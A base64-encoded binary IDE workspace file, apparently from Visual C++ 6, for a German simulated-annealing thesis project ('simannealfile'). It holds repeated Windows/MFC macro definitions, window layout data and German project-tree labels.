CiNkZWZpbmUgU1JWQVBJCiNkZWZpbmUgU1REQVBJIEhSRVNVTFQgU1REQVBJQ0FMTFRZUEUK I2RlZmluZSBTVERBUElfKHR5cGUpIHR5cGUgU1REQVBJQ0FMTFRZUEUKI2RlZmluZSBTVERB UElDQUxMVFlQRSBfX3N0ZGNhbGwKI2RlZmluZSBTVERBUElWIEhSRVNVTFQgU1REQVBJVkNB TExUWVBFCiNkZWZpbmUgU1REQVBJVl8odHlwZSkgdHlwZSBTVERBUElWQ0FMTFRZUEUKI2Rl ZmluZSBTVERBUElWQ0FMTFRZUEUgX19jZGVjbAojZGVmaW5lIFNURE1FVEhPRChtZXRob2Qp IHZpcnR1YWwgSFJFU1VMVCBTVERNRVRIT0RDQUxMVFlQRSBtZXRob2QKI2RlZmluZSBTVERN RVRIT0RfKHR5cGUsbWV0aG9kKSB2aXJ0dWFsIHR5cGUgU1RETUVUSE9EQ0FMTFRZUEUgbWV0 aG9kCiNkZWZpbmUgU1RETUVUSE9EQ0FMTFRZUEUgX19zdGRjYWxsCiNkZWZpbmUgU1RETUVU SE9ESU1QIEhSRVNVTFQgU1RETUVUSE9EQ0FMTFRZUEUKI2RlZmluZSBTVERNRVRIT0RJTVBf KHR5cGUpIHR5cGUgU1RETUVUSE9EQ0FMTFRZUEUKI2RlZmluZSBTVERNRVRIT0RJTVBWIEhS RVNVTFQgU1RETUVUSE9EVkNBTExUWVBFCiNkZWZpbmUgU1RETUVUSE9ESU1QVl8odHlwZSkg dHlwZSBTVERNRVRIT0RWQ0FMTFRZUEUKI2RlZmluZSBTVERNRVRIT0RWQ0FMTFRZUEUgX19j ZGVjbAojZGVmaW5lIFNURE1BUElJTklUQ0FMTFRZUEUgX19jZGVjbAojZGVmaW5lIFVOQUxJ R05FRAojZGVmaW5lIFZGV0FQSVYKI2RlZmluZSBXREJHQVBJIF9fc3RkY2FsbAojZGVmaW5l IFdJTkFQSSBfX3N0ZGNhbGwKI2RlZmluZSBXSU5BUElWIF9fY2RlY2wKI2RlZmluZSBXSU5P TEVBUEkgSFJFU1VMVCBTVERBUElDQUxMVFlQRQojZGVmaW5lIFdJTk9MRUFQSV8odHlwZSkg dHlwZSBTVERBUElDQUxMVFlQRQojZGVmaW5lIGFmeF9tc2cKI2RlZmluZSBBVExfTk9fVlRB QkxFIF9fZGVjbHNwZWMobm92dGFibGUpCiNkZWZpbmUgQVRMQVBJIEhSRVNVTFQKI2RlZmlu ZSBBVExBUElfKHgpIHgKI2RlZmluZSBBRlhfQ0RFQ0wgX19jZGVjbAojZGVmaW5lIEFGWF9D TEFTU19FWFBPUlQgX19kZWNsc3BgkLMAAAAAAAEBAQEBAQgARV9FWChjbGFzc19uYW1lKQoj ZGVmaW5lIERFQ0xBUkVfT0xFQ1RMVFlQRShjbGFzc19uYW1lKQojZGVmaW5lIERFQ0xBUkVf T0xFVFlQRUxJQihjbGFzc19uYW1lKQojZGVmaW5lIERFQ0xBUkVfT05MWV9BR0dSRUdBVEFC TEUoeCkKI2RlZmluZSBERUNMQVJFX09QQVFVRTMyKHgpCiNkZWZpbmUgREVDTEFSRV9QQVJT RV9NQVAoKQojZGVmaW5lIERFQ0xBUkVfUE9MWV9BR0dSRUdBVEFCTEUoeCkKI2RlZmluZSBE RUNMQVJFX1BST1BFUlRZX1NVUFBPUlQoY2xhc3MpCiNkZWZpbmUgREVDTEFSRV9QUk9QUEFH RUlEUyhjbGFzc19uYW1lKQojZGVmaW5lIERFQ0xBUkVfUFJPVEVDVF9GSU5BTF9DT05TVFJV Q1QoKQojZGVmaW5lIERFQ0xBUkVfUkVHSVNUUlkoY2xhc3MsIHBpZCwgdnBpZCwgbmlkLCBm bGFncykKI2RlZmluZSBERUNMQVJFX1JFR0lTVFJZX1JFU09VUkNFKHgpCiNkZWZpbmUgREVD TEFSRV9SRUdJU1RSWV9SRVNPVVJDRUlEKHgpCiNkZWZpbmUgREVDTEFSRV9TRVJJQUwoY2xh c3NfbmFtZSkKI2RlZmluZSBERUNMQVJFX1NUQVRJQ19SRUdJU1RSWV9SRVNPVVJDRSh4KQoj ZGVmaW5lIERFQ0xBUkVfU1RBVElDX1JFR0lTVFJZX1JFU09VUkNFSUQoeCkKI2RlZmluZSBE RUNMQVJFX1ZJRVdfU1RBVFVTKHN0YXR1c0ZsYWdzKQojZGVmaW5lIERFQ0xBUkVfV05EX0NM QVNTKFduZENsYXNzTmFtZSkKI2RlZmluZSBERUNMQVJFX1dORF9TVVBFUkNMQVNTKFduZENs YXNzTmFtZSwgT3JpZ1duZENsYXNzTmFtZSkKI2RlZmluZSBERUZJTkVfQ09NTUFORCh4LCBz ekNvbW1hbmQpCiNkZWZpbmUgREVMRUdBVEVfRFVBTF9JTlRFUkZBQ0Uob2JqZWN0Q2xhc3Ms IGR1YWxDbGFzcykKI2RlZmluZSBFTkRfQ09OTkVDVElPTl9QQVJUKGxvY2FsQ2xhc3MpIH0g bV94IyNslAMBAgEAYXMYabQAeAEDAGQgY2xhc3MgWCMjbG9jYWxDbGFzczsKI2RlZmluZSBF TkRfRFVBTF9JTlRFUkZBQ0VfUEFSVChsb2NhbENsYXNzKSB9IG1feCMjbG9jYWxDbGFzczsg ZnJpZW5kIGNsYXNzIFgjI2xvY2FsQ2xhc3M7CiNkZWZpbmUgRU5EX0lOVEVSRkFDRV9QQVJU KGxvY2FsQ2xhc3MpIH0gbV94IyNsb2NhbENsYXNzOyBmcmllbmQgY2xhc3MgWCMjbG9jYWxD bGFzczsKI2RlZmluZSBFWFRFUk5fUFJPQ0VTU19MT0NBTChjbGFzc19uYW1lLCBpZGVudF9u YW1lKSBleHRlcm4gQUZYX0RBVEEgUFJPQ0VTU19MT0NBTChjbGFzc19uYW1lLCBpZGVudF9u YW1lKQojZGVmaW5lIEVYVF9TTkFQSU5NRU5VSUQoaWQpCiNkZWZpbmUgSU1QTEVNRU5UX0RV QUxfRVJST1JJTkZPKG9iamVjdENsYXNzLCByaWlkU291cmNlKQojZGVmaW5lIElNUExFTUVO VF9EWU5BTUlDKGNsYXNzX25hbWUsIGJhc2VfY2xhc3NfbmFtZSkKI2RlZmluZSBJTVBMRU1F TlRfRFlOQ1JFQVRFKGNsYXNzX25hbWUsIGJhc2VfY2xhc3NfbmFtZSkKI2RlZmluZSBJTVBM RU1FTlRfT0xFQ1JFQVRFKGNsYXNzX25hbWUsIGV4dGVybmFsX25hbWUsIGwsIHcxLCB3Miwg YjEsIGIyLCBiMywgYjQsIGI1LCBiNiwgYjcsIGI4KQojZGVmaW5lIElNUExFTUVOVF9PTEVD UkVBVEVfRVgoY2xhc3NfbmFtZSwgZXh0ZXJuYWxfbmFtZSwgbCwgdzEsIHcyLCBiMSwgYjIs IGIzLCBiNCwgYjUsIGI2LCBiNywgYjgpCiNkZWZpbmUgSU1QTEVNRU5UX09MRUNUTFRZUEUo Y2xhc3NfbmFtZSwgaWRzVXNlclR5cGVOYW1lLCBkd09sZU1pc2MpCiNkZWZpbmUgSU1QTEVN RU5UX09MRVRZUEVMSUIoY2xhc3NfbmFtZSwgdGxpZCwgd1Zlck1ham9yLCB3VmVyTWlub3Ip CiNkZWZpbmUgSU1QTEVNRU5UX1NFUklBTChjbGFzc19uYW1lLCBiYXNlX2NsYXNzX25hbWUs IHdTY2hlbWEpCiNkZWZpbmUgSU5JVF9JTlRFUkZBQ0VfUEFSVCh0aGVDbGFzcywgbG9jYWxD bGFzcykKI2RlZmluZSBQUk9DRVNTX0xPQ0FMKGNsYXNzX25hbWUsIGlkZW50X25hbWUpIEFG WF9EQQgAAwBNTEpMAAAAAQAAAGVhbGZpbGVHQzpcQXJiZWl0X0RpcGxvbWFyYmVpdFxfX09w dGltaWVyZXJcVEVNXHNpbWFubmVhbGZpbGVcc2ltYW5uZWFsZmlsZS5kc3ABAAAAAAAAAAAA AAAAAAIAAAAsDAqs2OT4AH4AAAASAAAABwAAAB0AAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAA AAAAAAAAAAAAAAMAAAADAAAAHQAAAAMAAABdAQAAbgEAACQDAADzAQAAYAEAAIsBAAAhAwAA 8AEAAGABAACLAQAAIQMAAPABAABgAQAAiwEAACEDAADwAQAAYAEAAIsBAAAhAwAAiwEAAF0B AABuAQAAJAMAAIsBAABdAQAAiwEAAGABAADwAQAAIQMAAIsBAAAkAwAA8AEAAF0BAADwAQAA JAMAAPMBAABkAQAAdQEAAAcDAACHAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKAwAA cwEAAB8DAACIAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AADHAQAAhQAAAAMAAAAdAAAAxAEAAIIAAAADAAAAHQAAAMQBAACCAAAAAwAAAB0AAADEAQAA ggAAAAMAAAAdAAAAxAEAAB0AAAAAAAAAAAAAAMcBAAAdAAAAAAAAAB0AAAADAAAAggAAAMQB AAAdAAAAxwEAAIIAAAAAAAAAggAAAMcBAACFAAAABwAAAAcAAACqAQAAGQAAAKP+//+S/v// o/7//5L+//+j/v//kv7//6P+//+S/v//o/7//5L+//+j/v//kv7//6P+//+S/v//o/7//5L+ //+j/v//kv7//6P+//+S/v//rQEAAAUAAADCAQAAGgAAAKP+//+S/v//o/7//5L+//+j/v// kv7//6P+//+S/v//o/7//5L+//+j/v//kv7//6P+//+S/v//o/7//5L+//+j/v//kv7//6P+ //+S/v//o/7//5L+//+j/v//kv7//6P+//+S/v//o/7//5L+//+j/v//kv7//6P+//+S/v// o/7//5L+//+j/v//kv7//wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAQAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAAAAAAAAAAA AAAAAMcBAACFAAAA/v///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAQAAAAAA AAAAAAAAAAAAAGVuZAAFBZAAAQAIABhptAB4AQMAX19SUENfQVBJIF9fc3RkY2FsbAojZGVm aW5lIF9fUlBDX0NBTExFRSBfX3N0ZGNhbGwKI2RlZmluZSBfX1JQQ19GQVIKI2RlZmluZSBf X1JQQ19TVFVCIF9fc3RkY2FsbAojZGVmaW5lIF9fUlBDX1VTRVIgX19zdGRjYWxsCiNkZWZp bmUgX0NPTV9TTUFSVFBUUl9UWVBFREVGKEludGVyZmFjZSwgSUlEKSB0eXBlZGVmIF9jb21f cHRyX3Q8IF9jb21fSUlJRDwgSW50ZXJmYWNlLCAmSUlEPiA+IEludGVyZmFjZSMjUHRyCiNk ZWZpbmUgX0NSVEFQSTEgX19jZGVjbAojZGVmaW5lIF9DUlRJTVAKI2RlZmluZSBfU1REIHN0 ZDo6CiNkZWZpbmUgX1NURF9CRUdJTiBuYW1lc3BhY2Ugc3RkIHsKI2RlZmluZSBfU1REX0VO RCB9OwojZGVmaW5lIF9TVERfVVNJTkcKI2RlZmluZSBBUElQUklWQVRFIF9fc3RkY2FsbAoj ZGVmaW5lIENBTExCQUNLCiNkZWZpbmUgY2RlY2wgX19jZGVjbAojZGVmaW5lIENERUNMIF9f Y2RlY2wKI2RlZmluZSBEM0RSTUFQSSBfX3N0ZGNhbGwKI2RlZmluZSBERUNMU1BFQ19VVUlE KHgpIF9fZGVjbHNwZWModXVpZCh4KSkKI2RlZmluZSBFWFBPUlQKI2RlZmluZSBGQVIKI2Rl ZmluZSBmYXIKI2RlZmluZSBGQVNUQ0FMTCBfX2Zhc3RjYWxsCiNkZWZpbmUgSU1BR0VBUEkg X19zdGRjYWxsCiNkZWZpbmUgSU5TVEFQSSBfX3N0ZGNhbGwKI2RlZmluZSBpbnRlcmZhY2Ug c3RydWN0CiNkZWZpbmUgTUlETF9JTlRFUkZBQ0UoeCkgc3RydWN0IF9fZGVjbHNwZWModXVp ZCh4KSkgX19kZWNsc3BlYyhub3Z0YWJsZSkKI2RlZmluZSBORUFSCiNkZWZpbmUgTkVUX0FQ SV9GVU5DVElPTiBfX3N0ZGNhbGwKI2RlZmluZSBOVEFQSSBfX3N0ZGNhbGwKI2RlZmluZSBw YXNjYWwgX19zdGRjYWxsCiNkZWZpbmUgUEFTQ0FMIF9fc3RkY2FsbAojZGVmaW5lIFJQQ19F TlRSWSBfX3N0ZGNhbGwKI2RlZmluZSBSUENfVkFSX0VOVFJZIF9fY2RlY2wKI2RlZmluZSBT SVpFX1RfTUFYIFVJTlRfTUFYCiNkZWZpbmUgU1FMX0FQSSBfX3N0ZGNhbGwKI2RlZmluZSBT UlZBUEkKI2RlZmluZSBTVERBUEkgSFJFU1VMVCBTVERBUElDQUxMVFlQRQojZGVmaW5lIFNU REFQSV8odHlwZSkgdHlwZSBTVERBUElDQUxMVFlQRQojZGVmaW5lIFNUREFQSUNBTExUWVBF IF9fc3RkY2FsbAojZGVmaW5lIFNUREFQSVYgSFJFU1VMVCBTVERBUElWQ0FMTFRZUEUKI2Rl ZmluZSBTVERBUElWXyh0eXBlKSB0eXBlIFNUREFQSVZDQUxMVFlQRQojZGVmaW5lIFNUREFQ SVZDQUxMVFlQRSBfX2NkZWNsCiNkZWZpbmUgU1RETUVUSE9EKG1ldGhvZCkgdmlydHVhbCBI UkVTVUxUIFNURE1FVEhPRENBTExUWVBFIG1ldGhvZAojZGVmaW5lIFNURE1FVEhPRF8odHlw ZSxtZXRob2QpIHZpcnR1YWwgdHlwZSBTVERNRVRIT0RDQUxMVFlQRSBtZXRob2QKI2RlZmlu ZSBTVERNRVRIT0RDQUxMVFlQRSBfX3N0ZGNhbGwKI2RlZmluZSBTVERNRVRIT0RJTVAgSFJF U1VMVCBTVERNRVRIT0RDQUxMVFlQRQojZGVmaW5lIFNURE1FVEhPRElNUF8odHlwZSkgdHlw ZSBTVERNRVRIT0RDQUxMVFlQRQojZGVmaW5lIFNURE1FVEhPRElNUFYgSFJFU1VMVCBTVERN RVRIT0RWQ0FMTFRZUEUKI2RlZmluZSBTVERNRVRIT0RJTVBWXyh0eXBlKSB0eXBlIFNURE1F VEhPRFZDQUxMVFlQRQojZGVmaW5lIFNURE1FVEhPRFZDQUxMVFlQRSBfX2NkZWNsCiNkZWZp bmUgU1RETUFQSUlOSVRDQUxMVFlQRSBfX2NkZWNsCiNkZWZpbmUgVU5BTElHTkVECiNkZWZp bmUgVkZXQVBJVgojZGVmaW5lIFdEQkdBUEkgX19zdGRjYWxsCiNkZWZpbmUgV0lOQVBJIF9f c3RkY2FsbAojZGVmaW5lIFdJTkFQSVYgX19jZGVjbAojZGVmaW5lIFdJTk9MRUFQSSBIUkVT VUxUIFNUREFQSUNBTExUWVBFCiNkZWZpbmUgV0lOT0xFQVBJXyh0eXBlKSB0eXBlIFNUREFQ SUNBTExUWVBFCiNkZWZpbmUgYWZ4X21zZwojZGVmaW5lIEFUTF9OT19WVEFCTEUgX19kZWNs c3BlYyhub3Z0YWJsZSkKI2RlZmluZSBBVExBUEkgSFJFU1VMVAojZGVmaW5lIEFUTEFQSV8o eCkgeAojZGVmaW5lIEFGWF9DREVDTCBfX2NkZWNsCiNkZWZpbmUgQUZYX0NMQVNTX0VYUE9S VCBfX2RlY2xzcGCQswAAAAAAAQEBAQEBCABFX0VYKGNsYXNzX25hbWUpCiNkZWZpbmUgREVD TEFSRV9PTEVDVExUWVBFKGNsYXNzX25hbWUpCiNkZWZpbmUgREVDTEFSRV9PTEVUWVBFTElC KGNsYXNzX25hbWUpCiNkZWZpbmUgREVDTEFSRV9PTkxZX0FHR1JFR0FUQUJMRSh4KQojZGVm aW5lIERFQ0xBUkVfT1BBUVVFMzIoeCkKI2RlZmluZSBERUNMQVJFX1BBUlNFX01BUCgpCiNk ZWZpbmUgREVDTEFSRV9QT0xZX0FHR1JFR0FUQUJMRSh4KQojZGVmaW5lIERFQ0xBUkVfUFJP UEVSVFlfU1VQUE9SVChjbGFzcykKI2RlZmluZSBERUNMQVJFX1BST1BQQUdFSURTKGNsYXNz X25hbWUpCiNkZWZpbmUgREVDTEFSRV9QUk9URUNUX0ZJTkFMX0NPTlNUUlVDVCgpCiNkZWZp bmUgREVDTEFSRV9SRUdJU1RSWShjbGFzcywgcGlkLCB2cGlkLCBuaWQsIGZsYWdzKQojZGVm aW5lIERFQ0xBUkVfUkVHSVNUUllfUkVTT1VSQ0UoeCkKI2RlZmluZSBERUNMQVJFX1JFR0lT VFJZX1JFU09VUkNFSUQoeCkKI2RlZmluZSBERUNMQVJFX1NFUklBTChjbGFzc19uYW1lKQoj ZGVmaW5lIERFQ0xBUkVfU1RBVElDX1JFR0lTVFJZX1JFU09VUkNFKHgpCiNkZWZpbmUgREVD TEFSRV9TVEFUSUNfUkVHSVNUUllfUkVTT1VSQ0VJRCh4KQojZGVmaW5lIERFQ0xBUkVfVklF V19TVEFUVVMoc3RhdHVzRmxhZ3MpCiNkZWZpbmUgREVDTEFSRV9XTkRfQ0xBU1MoV25kQ2xh c3NOYW1lKQojZGVmaW5lIERFQ0xBUkVfV05EX1NVUEVSQ0xBU1MoV25kQ2xhc3NOYW1lLCBP cmlnV25kQ2xhc3NOYW1lKQojZGVmaW5lIERFRklORV9DT01NQU5EKHgsIHN6Q29tbWFuZCkK I2RlZmluZSBERUxFR0FURV9EVUFMX0lOVEVSRkFDRShvYmplY3RDbGFzcywgZHVhbENsYXNz KQojZGVmaW5lIEVORF9DT05ORUNUSU9OX1BBUlQobG9jYWxDbGFzcykgfSBtX3gjI2yUAwEC AQBhcxhptAB4AQMAZCBjbGFzcyBYIyNsb2NhbENsYXNzOwojZGVmaW5lIEVORF9EVUFMX0lO VEVSRkFDRV9QQVJUKGxvY2FsQ2xhc3MpIH0gbV94IyNsb2NhbENsYXNzOyBmcmllbmQgY2xh c3MgWCMjbG9jYWxDbGFzczsKI2RlZmluZSBFTkRfSU5URVJGQUNFX1BBUlQobG9jYWxDbGFz cykgfSBtX3gjI2xvY2FsQ2xhc3M7IGZyaWVuZCBjbGFzcyBYIyNsb2NhbENsYXNzOwojZGVm aW5lIEVYVEVSTl9QUk9DRVNTX0xPQ0FMKGNsYXNzX25hbWUsIGlkZW50X25hbWUpIGV4dGVy biBBRlhfREFUQSBQUk9DRVNTX0xPQ0FMKGNsYXNzX25hbWUsIGlkZW50X25hbWUpCiNkZWZp bmUgRVhUX1NOQVBJTk1FTlVJRChpZCkKI2RlZmluZSBJTVBMRU1FTlRfRFVBTF9FUlJPUklO Rk8ob2JqZWN0Q2xhc3MsIHJpaWRTb3VyY2UpCiNkZWZpbmUgSU1QTEVNRU5UX0RZTkFNSUMo Y2xhc3NfbmFtZSwgYmFzZV9jbGFzc19uYW1lKQojZGVmaW5lIElNUExFTUVOVF9EWU5DUkVB VEUoY2xhc3NfbmFtZSwgYmFzZV9jbGFzc19uYW1lKQojZGVmaW5lIElNUExFTUVOVF9PTEVD UkVBVEUoY2xhc3NfbmFtZSwgZXh0ZXJuYWxfbmFtZSwgbCwgdzEsIHcyLCBiMSwgYjIsIGIz LCBiNCwgYjUsIGI2LCBiNywgYjgpCiNkZWZpbmUgSU1QTEVNRU5UX09MRUNSRUFURV9FWChj bGFzc19uYW1lLCBleHRlcm5hbF9uYW1lLCBsLCB3MSwgdzIsIGIxLCBiMiwgYjMsIGI0LCBi NSwgYjYsIGI3LCBiOCkKI2RlZmluZSBJTVBMRU1FTlRfT0xFQ1RMVFlQRShjbGFzc19uYW1l LCBpZHNVc2VyVHlwZU5hbWUsIGR3T2xlTWlzYykKI2RlZmluZSBJTVBMRU1FTlRfT0xFVFlQ RUxJQihjbGFzc19uYW1lLCB0bGlkLCB3VmVyTWFqb3IsIHdWZXJNaW5vcikKI2RlZmluZSBJ TVBMRU1FTlRfU0VSSUFMKGNsYXNzX25hbWUsIGJhc2VfY2xhc3NfbmFtZSwgd1NjaGVtYSkK I2RlZmluZSBJTklUX0lOVEVSRkFDRV9QQVJUKHRoZUNsYXNzLCBsb2NhbENsYXNzKQojZGVm aW5lIFBST0NFU1NfTE9DQUwoY2xhc3NfbmFtZSwgaWRlbnRfbmFtZSkgQUZYX0RBVwBvAHIA awBzAHAAYQBjAGUAIABXAGkAbgBkAG8AdwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAACIAAgAHAAAABQAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAhAAAAABQAAAAAAABJAFAASQBfAHMAaQBtAGEAbgBuAGUAYQBsAGYAaQBsAGUAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJAACAf///////////////wAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAACsAAAAAGAAAAAAAAEkAUABJAF8AAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKAAIA//////// ////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANwAAAAAUAAAAAAAA QwBsAGEAcwBzAFYAaQBlAHcAIABXAGkAbgBkAG8AdwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAACIAAgH///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAABBAAAAABQAAAAAAAADAAUADXNpbWFubmVhbGZpbGUHS2xhc3NlbgU8RU9SPgU8 RU9SPgU8RU9SPhVzaW1hbm5lYWxmaWxlIEtsYXNzZW4FPEVPUj4Vc2ltYW5uZWFsZmlsZSBL bGFzc2VuBTxFT1I+B0RhdGVpZW4FPEVPUj4sQXJiZWl0c2JlcmVpY2ggInNpbWFubmVhbGZp bGUiOiAxIFByb2pla3QoZSkVc2ltYW5uZWFsZmlsZSBEYXRlaWVuEFF1ZWxsY29kZWRhdGVp ZW4OSGVhZGVyLURhdGVpZW4FPEVPUj4FPEVPUj4Vc2ltYW5uZWFsZmlsZSBEYXRlaWVuBTxF T1I+LEFyYmVpdHNiZXJlaWNoICJzaW1hbm5lYWxmaWxlIjogMSBQcm9qZWt0KGUpBTxFT1I+ BTxFT1I+B0RhdGVpZW4FPEVPUj7zAQAAZAEAAHUBAAAHAwAAhwEAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAACgMAAHMBAAAfAwAAiAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAxwEAAIUAAAADAAAAHQAAAMQBAACCAAAAAwAAAB0AAADEAQAA ggAAAAMAAAAdAAAAxAEAAIIAAAADAAAAHQAAAMQBAAAdAAAAAAAAAAAAAADHAQAAHQAAAAAA AAAdAAAAAwAAAIIAAADEAQAAHQAAAMcBAACCAAAAAAAAAIIAAADHAQAAhQAAAAcAAAAHAAAA qgEAABkAAACj/v//kv7//6P+//+S/v//o/7//5L+//+j/v//kv7//6P+//+S/v//o/7//5L+ //+j/v//kv7//6P+//+S/v//o/7//5L+//+j/v//kv7//60BAAAFAAAAwgEAABoAAACj/v// kv7//6P+//+S/v//o/7//5L+//+j/v//kv7//6P+//+S/v//o/7//5L+//+j/v//kv7//6P+ //+S/v//o/7//5L+//+j/v//kv7//6P+//+S/v//o/7//5L+//+j/v//kv7//6P+//+S/v// o/7//5L+//+j/v//kv7//6P+//+S/v//o/7//5L+//8AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAA AQAAAAAAAAAAAAAAAAAAAAAAAADHAQAAhQAAAP7///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAQAAAAEAAAAAAAAAAAAAAAAAAABlbmQABQWQAAEACAAYabQAeAEDAF9fUlBDX0FQ SSBfX3N0ZGNhbGwKI2RlZmluZSBfX1JQQ19DQUxMRUUgX19zdGRjYWxsCiNkZWZpbmUgX19S UENfRkFSCiNkZWZpbmUgX19SUENfU1RVQiBfX3N0ZGNhbGwKI2RlZmluZSBfX1JQQ19VU0VS IF9fc3RkY2FsbAojZGVmaW5lIF9DT01fU01BUlRQVFJfVFlQRURFRihJbnRlcmZhY2UsIElJ RCkgdHlwZWRlZiBfY29tX3B0cl90PCBfY29tX0lJSUQ8IEludGVyZmFjZSwgJklJRD4gPiBJ bnRlcmZhY2UjI1B0cgojZGVmaW5lIF9DUlRBUEkxIF9fY2RlY2wKI2RlZmluZSBfQ1JUSU1Q CiNkZWZpbmUgX1NURCBzdGQ6OgojZGVmaW5lIF9TVERfQkVHSU4gbmFtZXNwYWNlIHN0ZCB7 CiNkZWZpbmUgX1NURF9FTkQgfTsKI2RlZmluZSBfU1REX1VTSU5HCiNkZWZpbmUgQVBJUFJJ VkFURSBfX3N0ZGNhbGwKI2RlZmluZSBDQUxMQkFDSwojZGVmaW5lIGNkZWNsIF9fY2RlY2wK I2RlZmluZSBDREVDTCBfX2NkZWNsCiNkZWZpbmUgRDNEUk1BUEkgX19zdGRjYWxsCiNkZWZp bmUgREVDTFNQRUNfVVVJRCh4KSBfX2RlY2xzcGVjKHV1aWQoeCkpCiNkZWZpbmUgRVhQT1JU CiNkZWZpbmUgRkFSCiNkZWZpbmUgZmFyCiNkZWZpbmUgRkFTVENBTEwgX19mYXN0Y2FsbAoj ZGVmaW5lIElNQUdFQVBJIF9fc3RkY2FsbAojZGVmaW5lIElOU1RBUEkgX19zdGRjYWxsCiNk ZWZpbmUgaW50ZXJmYWNlIHN0cnVjdAojZGVmaW5lIE1JRExfSU5URVJGQUNFKHgpIHN0cnVj dCBfX2RlY2xzcGVjKHV1aWQoeCkpIF9fZGVjbHNwZWMobm92dGFibGUpCiNkZWZpbmUgTkVB UgojZGVmaW5lIE5FVF9BUElfRlVOQ1RJT04gX19zdGRjYWxsCiNkZWZpbmUgTlRBUEkgX19z dGRjYWxsCiNkZWZpbmUgcGFzY2FsIF9fc3RkY2FsbAojZGVmaW5lIFBBU0NBTCBfX3N0ZGNh bGwKI2RlZmluZSBSUENfRU5UUlkgX19zdGRjYWxsCiNkZWZpbmUgUlBDX1ZBUl9FTlRSWSBf X2NkZWNsCiNkZWZpbmUgU0laRV9UX01BWCBVSU5UX01BWAojZGVmaW5lIFNRTF9BUEkgX19z dGRjYWxsCiNkZWZpbmUgU1JWQVBJCiNkZWZpbmUgU1REQVBJIEhSRVNVTFQgU1REQVBJQ0FM TFRZUEUKI2RlZmluZSBTVERBUElfKHR5cGUpIHR5cGUgU1REQVBJQ0FMTFRZUEUKI2RlZmlu ZSBTVERBUElDQUxMVFlQRSBfX3N0ZGNhbGwKI2RlZmluZSBTVERBUElWIEhSRVNVTFQgU1RE QVBJVkNBTExUWVBFCiNkZWZpbmUgU1REQVBJVl8odHlwZSkgdHlwZSBTVERBUElWQ0FMTFRZ UEUKI2RlZmluZSBTVERBUElWQ0FMTFRZUEUgX19jZGVjbAojZGVmaW5lIFNURE1FVEhPRCht ZXRob2QpIHZpcnR1YWwgSFJFU1VMVCBTVERNRVRIT0RDQUxMVFlQRSBtZXRob2QKI2RlZmlu ZSBTVERNRVRIT0RfKHR5cGUsbWV0aG9kKSB2aXJ0dWFsIHR5cGUgU1RETUVUSE9EQ0FMTFRZ UEUgbWV0aG9kCiNkZWZpbmUgU1RETUVUSE9EQ0FMTFRZUEUgX19zdGRjYWxsCiNkZWZpbmUg U1RETUVUSE9ESU1QIEhSRVNVTFQgU1RETUVUSE9EQ0FMTFRZUEUKI2RlZmluZSBTVERNRVRI T0RJTVBfKHR5cGUpIHR5cGUgU1RETUVUSE9EQ0FMTFRZUEUKI2RlZmluZSBTVERNRVRIT0RJ TVBWIEhSRVNVTFQgU1RETUVUSE9EVkNBTExUWVBFCiNkZWZpbmUgU1RETUVUSE9ESU1QVl8o dHlwZSkgdHlwZSBTVERNRVRIT0RWQ0FMTFRZUEUKI2RlZmluZSBTVERNRVRIT0RWQ0FMTFRZ UEUgX19jZGVjbAojZGVmaW5lIFNURE1BUElJTklUQ0FMTFRZUEUgX19jZGVjbAojZGVmaW5l IFVOQUxJR05FRAojZGVmaW5lIFZGV0FQSVYKI2RlZmluZSBXREJHQVBJIF9fc3RkY2FsbAoj ZGVmaW5lIFdJTkFQSSBfX3N0ZGNhbGwKI2RlZmluZSBXSU5BUElWIF9fY2RlY2wKI2RlZmlu ZSBXSU5PTEVBUEkgSFJFU1VMVCBTVERBUElDQUxMVFlQRQojZGVmaW5lIFdJTk9MRUFQSV8o dHlwZSkgdHlwZSBTVERBUElDQUxMVFlQRQojZGVmaW5lIGFmeF9tc2cKI2RlZmluZSBBVExf Tk9fVlRBQkxFIF9fZGVjbHNwZWMobm92dGFibGUpCiNkZWZpbmUgQVRMQVBJIEhSRVNVTFQK 